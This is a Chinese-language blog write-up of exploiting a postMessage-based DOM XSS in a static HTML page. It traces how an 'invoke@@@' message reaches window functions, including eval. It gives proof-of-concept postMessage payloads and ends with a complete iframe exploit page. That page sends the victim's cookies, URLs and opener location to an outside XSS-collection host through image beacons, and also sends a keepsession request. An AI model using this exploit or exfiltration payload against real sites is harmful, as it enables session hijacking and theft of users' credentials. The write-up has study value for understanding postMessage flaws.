某靜態頁面xss挖掘過程
首先漏洞的url地址是一個靜態的html頁面,源碼裡面也是沒有任何接受url參數輸入的地方
但是分析可以得到的是他在監聽著meesage,那麼就可以通過給他發送message來觀察會對message怎麼進行處理。
點擊進代碼查看:
var _preDispatchHandler = function(crsDt) {n _me._preDispatch(_me, crsDt);n };n
接受的message會進入到_preDispatch中
在控制台輸入測試代碼:
window.postMessage("alert(2121)","*")n
跟蹤數據的處理流程
首先進入到函數_preDispatch中
Proxy.prototype._preDispatch = function(_this, cstDt, seq, fmt) {n var dt = cstDt.data || (cstDt.currentTarget && cstDt.currentTarget.data) || {};n var cmd = dt.split("@@@");n switch (cmd[0]) {n case "invoke":n this.invoke(cmd[1]);n break;n default:n this.dispatch(cmd[1] || cstDt, seq, fmt);n break;n }n }n
下斷點跟蹤到改函數中,
看到進入到cmd中,並且使用了@@@進行了分割。然後switch,這個更改測試代碼:
window.postMessage("invoke@@@22222","*")n
測試就會進入到invoke函數中
Proxy.prototype.invoke = function(ivk) {n var pendingInvoke;n ivk && (this.invokes.push(ivk));n while (this.isReady && (pendingInvoke = this.invokes.shift())) {n this._doInvoke(pendingInvoke);n }n }n
此時就又掉函數_doInvoke
_doInvoke: function(cmdStr) {n _qc.Console.log("invoke:t" + cmdStr);n if (typeof cmdStr != "string") {n return;n }n var pas = cmdStr.split("#"), cmdP = pas[0], args = pas[1] && pas[1].split(","), cmd;n cmd = Proxy.getFunction(cmdP);n cmd.apply(null, args);n },n
構造的數據進入
可以看到會分割成幾部分進入到Proxy.getFunction函數中
繼續跟進:
Proxy.getFunction = function(cmdP) {n var cmd;n cmdP = cmdP.split(".");n for (var i = 0; i < cmdP.length; i++) {n cmd = cmd ? cmd[cmdP[i]] : window[cmdP[i]];n }n return cmd;n }n
可以打看到這個是形成函數的,會把cmdp傳入的參數放入window[2222]中,並形成function 2222() 函數調用,上步可以看到他的參數是args
那麼重新構造poc
window.postMessage("invoke@@@alert#"+document.cookie,"*")n
成功彈出了cookie信息
但是要產生危害的話,就得需要別人訪問
首先構造的poc頁面是:
<script>nfunction xss(){nn document.getElementById("frame").contentWindow.postMessage("invoke@@@alert#"+document.domain,"*");n}n</script>nn<iframe id="frame" src="url" onload=xss()></iframe>n
發現此時的域是自己的頁面的域,是沒辦法利用的,一直覺得這個也就是個雞肋漏洞
後來想到形成的函數是window.alert(1)之類的
那麼window還有那些函數是可以利用的,查看console,看到了eval,居然忘記了這個牛逼函數
構造poc:
window.postMessage("invoke@@@eval#alert(document.cookie)","*")n
可以成功 彈出cookie信息
構造利用頁面
<script>nfunction xss(){nn document.getElementById("frame").contentWindow.postMessage("invoke@@@eval#(function(){(new Image()).src=http://www.xsss/index.php?do=api&id=JpEADJ&location=+escape((function(){try{return document.location.href}catch(e){return }})())+&toplocation=+escape((function(){try{return top.location.href}catch(e){return }})())+&cookie=+escape((function(){try{return document.cookie}catch(e){return }})())+&opener=+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:}catch(e){return }})());})(); if(1==1){keep=new Image();keep.src=http://xssss/index.php?do=keepsession&id=JpEADJ&url=+escape(document.location)+&cookie=+escape(document.cookie)};","*");n}n</script>nn<iframe id="frame" src="url" onload=xss()></iframe>n
推薦閱讀:
※當心!騙子正在使用Instagram進行銀行詐騙活動
※NO.17 CSS & 信息安全培訓
※自動化檢測CSRF(第一章)
※黑客入侵Edmodo教育平台,竊取超7千萬教師、學生和家長賬戶信息